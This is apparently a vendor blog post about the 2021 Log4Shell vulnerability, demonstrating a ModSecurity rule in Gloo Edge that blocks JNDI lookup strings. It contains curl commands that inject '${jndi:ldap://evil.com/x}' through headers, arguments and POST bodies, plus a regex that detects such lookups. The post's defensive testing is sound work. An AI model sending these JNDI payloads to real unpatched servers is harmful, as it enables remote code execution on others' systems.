Headlines have screamed “The Internet’s on fire” since the Log4Shell zero-day vulnerability CVE-2021-44228 emerged. It has been rated with a Critical CVSS score of 10 (out of 10). TechCrunch reports that numerous Big Tech systems are vulnerable.

The root cause is an issue in the commonly used open-source Java library Log4j. Many enterprise developers (including yours truly) have used Log4j for years to instrument, debug, and audit application servers. One interesting feature is that it allows remote code execution in places where Log4j Lookups are employed. In the case of Log4Shell attacks, JNDI Lookups are exploited to cause execution of code from remote services controlled by the attacker.

Solo.io customers have reached out to us with three primary questions.

1. 1. Are Solo.io products vulnerable to Log4Shell?

1. Are my systems fronted by Gloo Edge and Gloo Mesh Gateway vulnerable to Log4Shell?
2. If so, how can I remediate those risks? Can Gloo Edge help?

Let’s start with the easiest question first. Solo.io products are NOT vulnerable to Log4Shell. Solo.io product microservices are implemented most commonly using Go. Envoy proxy is a key open-source component deployed with all Solo.io products and is implemented in C++. Consequently, none of them depend on compromised Java libraries like Log4j.

But what about my systems?

The fact that Solo.io products themselves aren’t exposed by Log4Shell is a nice first step. But that doesn’t fully address the second question of whether a customer’s systems that use Gloo Edge as their API gateway are vulnerable.

The answer is it depends. If there is a vulnerability, it most likely exists in Java systems that are exposed to the Internet via Gloo Edge. Where those exist, it is possible that requests being accepted by those systems could be vulnerable to malicious requests that pass Log4j Lookup strings to the system through request bodies, headers, or arguments. In short, if a responding system logs these headers using an older version of Log4j, then that system may be vulnerable to attack.

This article from the Swiss CERT provides a nice visualization of how an attack can occur.

Source: GovCERT.ch

I might be vulnerable. How do I respond?

If your systems are potentially vulnerable, there are a number of avenues to mitigate that risk.

1. Update to the latest patched log4j versions. Apache has already released a patched version 2.15.0 that shuts off this attack vector. Remember that it may be necessary to update not only the Log4j direct dependencies of your systems, but also any transitive dependencies that may be vulnerable, including popular Apache libraries like Struts, Solr, and Druid.
2. Initiate a vulnerability scan. There are both open-source and enterprise tools that can thoroughly analyze your systems for vulnerabilities to Log4Shell (and a hundred others). At Solo.io, we’re particularly fond of our partner Snyk, which offers scanning tools in both free and paid flavors.

In addition to these two approaches, Gloo Edge can help! The Enterprise edition provides Web Application Firewall support with a widely used framework called ModSecurity, which began life as an Apache project. From the Gloo Edge documentation:

“API Gateways act as a control point for the outside world to access the various application services running in your environment. A Web Application Firewall offers a standard way to inspect and handle all incoming traffic. ModSecurity is one such firewall. ModSecurity uses a simple rules language to interpret and process incoming http traffic.”

The most popular ModSecurity ruleset is sponsored by OWASP and called CoreRuleSet, and it is packaged for use with Gloo Edge Enterprise. The CRS community is already working on rules to fight Log4Shell and has published some initial thoughts and draft rules here. While one or more of these will ultimately be part of the CRS, we don’t have to wait for that to happen.

In this blog post, we will use a simplified version of one of the CRS draft rules to block any potentially malicious traffic trying to exploit the Log4Shell vulnerability. We will implement this in a single, compact ModSecurity role, and we will deploy it in a Gloo Edge Gateway component, to protect any service fronted by that Gateway.

Example: Use Gloo Edge to block Log4Shell attacks

We’ll build and test an example to show how you can use Gloo Edge to protect systems that are vulnerable to Log4Shell attacks.

If you’d like to follow along in your own environment, all you’ll need is a Kubernetes cluster and associated tools like kubectl, plus an instance of Gloo Edge Enterprise to complete this guide. Installation instructions are here. If you don’t have access to a Gloo Edge Enterprise license key, you can request a free trial here.

We’ll use the popular httpbin service as a stand-in for the systems we need to protect. We’ll then build a simple Gloo Edge VirtualService with no protection against Log4Shell and simulate some popular attack vectors. Finally, we’ll apply a simple ModSecurity rule to our Web Application Firewall and demonstrate how those attacks are repelled with Gloo Edge.

Establish a target service

HTTPBIN is a great little REST service that can be used to test a variety of http operations and echo the request and response elements back to the consumer. We’ll use it throughout this exercise as being representative of systems that are potentially vulnerable to Log4Shell attacks. First, we’ll install a Gloo Edge Upstream to our cluster that acts as a facade for the public httpbin service.

apiVersion: gloo.solo.io/v1
kind: Upstream
metadata:
  name: httpbin-us
  namespace: gloo-system
spec:
  static:
    hosts:
      - addr: httpbin.org
        port: 80

Run this command to apply the Upstream to your Kubernetes cluster:

kubectl apply -f https://raw.githubusercontent.com/solo-io/solo-blog/main/log4shell/1-httpbin-us.yaml

You should see this response:

upstream.gloo.solo.io/httpbin-us created

Build a routing policy

We’ll next create a simple Gloo Edge VirtualService to route any request that is presented to our API gateway to the httpbin service.

apiVersion: gateway.solo.io/v1
kind: VirtualService
metadata:
  name: httpbin
  namespace: gloo-system
spec:
  virtualHost:
    domains:
      -  "*"
    routes:
      - matchers:
          - prefix: /
        routeAction:
          single:
            upstream:
              name: httpbin-us
              namespace: gloo-system

Apply that VirtualService using this command:

kubectl apply -f https://raw.githubusercontent.com/solo-io/solo-blog/main/log4shell/2-httpbin-vs.yaml

Expect this response in return:

virtualservice.gateway.solo.io/httpbin created

The initial service has a security problem!

Log4Shell attacks operate by passing in a Log4j expression that causes a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: ${jndi:ldap://evil.com/x}. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using Log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code.

We’ll simulate one of these attack vectors by passing our evil.com string in a request header to our gateway, and then see that request routed to the target service.

We’ll use curl to simulate the attack, passing in the attack string as the value of the standard User-Agent header:

curl -X GET -H "User-Agent: \${jndi:ldap://evil.com/x}" $(glooctl proxy url)/anything -i

Note that this command will fail if you don’t have the glooctl utility installed on your workstation.

The /anything endpoint of httpbin simply echoes back the request headers passed into it.

You can expect a response like the one below. Note in particular this entry in the headers response: "User-Agent": "${jndi:ldap://evil.com/x}". If httpbin were logging this header using Log4j, then we might have a real problem on our hands.

HTTP/1.1 200 OK
date: Mon, 13 Dec 2021 23:20:22 GMT
content-type: application/json
content-length: 444
server: envoy
access-control-allow-origin: *
access-control-allow-credentials: true
x-envoy-upstream-service-time: 41

{
  "args": {},
  "data": "",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Host": "34.138.145.188",
    "User-Agent": "${jndi:ldap://evil.com/x}",    <<< THIS IS BAD!!!
    "X-Amzn-Trace-Id": "Root=1-61b7d536-56e3136158a72a390d84a568",
    "X-Envoy-Expected-Rq-Timeout-Ms": "15000"
  },
  "json": null,
  "method": "GET",
  "origin": "34.75.132.98",
  "url": "http://34.138.145.188/anything"
}

Integrate a simple WAF policy

The Internet is already ripe with engineers proposing ModSecurity rules to thwart Log4Shell attacks. In this post, we are adapting a simplified version of a rule that has been proposed as an addition to the CoreRuleSet here.

SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  
  "@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://" 
  "id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"

We won’t attempt a ModSecurity rule authoring tutorial here. There are better sources for that information, like the official community GitHub site.

But let’s examine briefly what this rule does. Line 1 identifies ModSec variables we want to match, entities like the REQUEST_BODY and REQUEST_HEADERS. These are entities where the contents might be logged by log4j when the request is received, so we want to be sure to protect them. A full ModSec variable list is available here and a complete reference manual is here.

Line 2 is the condition that is applied to the variables listed in Line 1. In this case, we’re matching against strings that begin with ${jndi.

Finally, Line 3 defines the action to be taken when the rule is matched. In this case, we are denying the request and passing back a 403 Forbidden error code.

We’ll apply this rule at the Gateway level of Gloo Edge. That means that even though we only have one service being managed by this gateway, the rule would equally apply if we had 100 services deployed behind that same Gateway.

This highlights one of the core strengths of Gloo Edge, the ability to apply sophisticated policies once and have them automatically applied to multiple backend services, with no changes to the target services. This is not only true of WAF policies, but also complex authNZ policies too. See our partner Snyk’s recent post about normalizing authentication policies across a variety of backend services.

Here is the full Gateway implementation that we’ll apply to our cluster. Note in particular the waf: configuration.

apiVersion: gateway.solo.io/v1
kind: Gateway
metadata:
  name: gateway-proxy
  namespace: gloo-system
spec:
  bindAddress: '::'
  bindPort: 8080
  proxyNames:
  - gateway-proxy
  httpGateway:
    options:
      waf:
        customInterventionMessage: 'Log4Shell malicious payload'
        ruleSets:
        - ruleStr: |
            SecRuleEngine On
            SecRequestBodyAccess On
            SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  
              "@rx \${jndi:(?:ldaps?|iiop|dns|rmi)://" 
              "id:1000,phase:2,deny,status:403,log,msg:'Potential Remote Command Execution: Log4j CVE-2021-44228'"

IMPORTANT NOTE: As of this writing, our collective understanding of how best to protect against Log4Shell is evolving. Do not accept our simple rule in this post as the final word on the subject. There are already indications that it may be inadequate by itself. Please do not deploy this sample rule to production without conducting your own due diligence. We recommend following developments in security-focused communities like CoreRuleSet to keep up with the latest best practices and CRS versions.

We’ll apply the new Gateway configuration to our cluster using kubectl:

kubectl apply -f https://raw.githubusercontent.com/solo-io/solo-blog/main/log4shell/3-log4shell-gw.yaml

Expect a response like this:

gateway.gateway.solo.io/gateway-proxy configured

Now let’s thwart some EVIL!

Can our new Gateway configuration defeat a sampling of Log4Shell attacks? We’ll answer that by simulating three attack vectors against our service: against request headers, request arguments, and finally payloads.

Request Header Attacks

We’ll use curl to simulate the same attack we used before with the unprotected service. Recall that the service fulfilled the request with no problems, which would have created a problem had the backend service been vulnerable to Log4Shell.

curl -X GET -H "User-Agent: \${jndi:ldap://evil.com/x}" $(glooctl proxy url)/anything -i

But observe the difference with our WAF protection in place. The malicious request is now rejected with a 403 Forbidden error.

HTTP/1.1 403 Forbidden
content-length: 27
content-type: text/plain
date: Mon, 13 Dec 2021 23:56:13 GMT
server: envoy

Log4Shell malicious payload

The request header attack is defeated!

Request Argument Attacks

Software services often log argument values when accepting new requests. That makes them a likely Log4Shell attack vector. We’ll again use curl to simulate an attack by issuing a request that has a single argument arg-1 with value ${jndi:ldap://evil.com/x}. Note that in our curl command we had to use a number of special-character-escaping backslashes so that characters like $ and { and } are passed as literals to the service.

curl -X GET $(glooctl proxy url)/anything\?arg-1=\$\\{jndi:ldap://evil.com/x\\} -i

The response shows that the ModSec rule is again doing its job as expected:

HTTP/1.1 403 Forbidden
content-length: 27
content-type: text/plain
date: Tue, 14 Dec 2021 01:40:13 GMT
server: envoy

Log4Shell malicious payload

The request argument attack is defeated!

Request Payload Attacks

Services that receive message payloads, like POST and PUT endpoints, often log the payload bodies when accepting new requests. That makes them a likely Log4Shell attack vector. We’ll use curl to simulate an attack by issuing a POST request that has the following payload: arg-1=\${jndi:ldap://evil.com/x}. Here is our “attacking” curl command:

curl -X POST -d "arg-1=\${jndi:ldap://evil.com/x}" $(glooctl proxy url)/anything -i

But our WAF is solid and again denies the request:

HTTP/1.1 403 Forbidden
content-length: 27
content-type: text/plain
date: Tue, 14 Dec 2021 01:48:47 GMT
server: envoy

Log4Shell malicious payload

The request payload attack is defeated!

Learn More

In this blog post, we confirmed that users of Solo products like Gloo Edge do not need to be concerned about those products being vulnerable to Log4Shell attacks. We also demonstrated how to use the Gloo Edge Web Application Firewall to block Log4Shell attacks against your own systems with a single ModSecurity rule.

IMPORTANT NOTE: As of this writing, our collective understanding of how best to protect against Log4Shell is evolving. Do not accept our simple rule in this post as the final word on the subject. There are already indications that it may be inadequate by itself. Please do not deploy this sample rule to production without conducting your own due diligence. We recommend following developments in security-focused communities like CoreRuleSet to keep up with the latest best practices and CRS versions.

All resources used to build the example in this post are available on GitHub.

Do you want to explore further how Solo and Gloo Edge can help you secure your microservice and legacy environments?

• Check out my Solo colleague Will McKinley‘s blog post discussing an alternative approach for securing your service mesh against Log4Shell attacks here.
• Check out Gloo Edge product information and documentation.
• Reach out to Solo experts on the Solo.io Slack community and particularly the #gloo-edge channel.
• Request a live demo or trial.
• See video content on the solo.io YouTube channel.
• Watch our SoloCon 2022 session on security best practices with Gloo Edge below. The Log4Shell content with demo begins about 12 minutes into this presentation.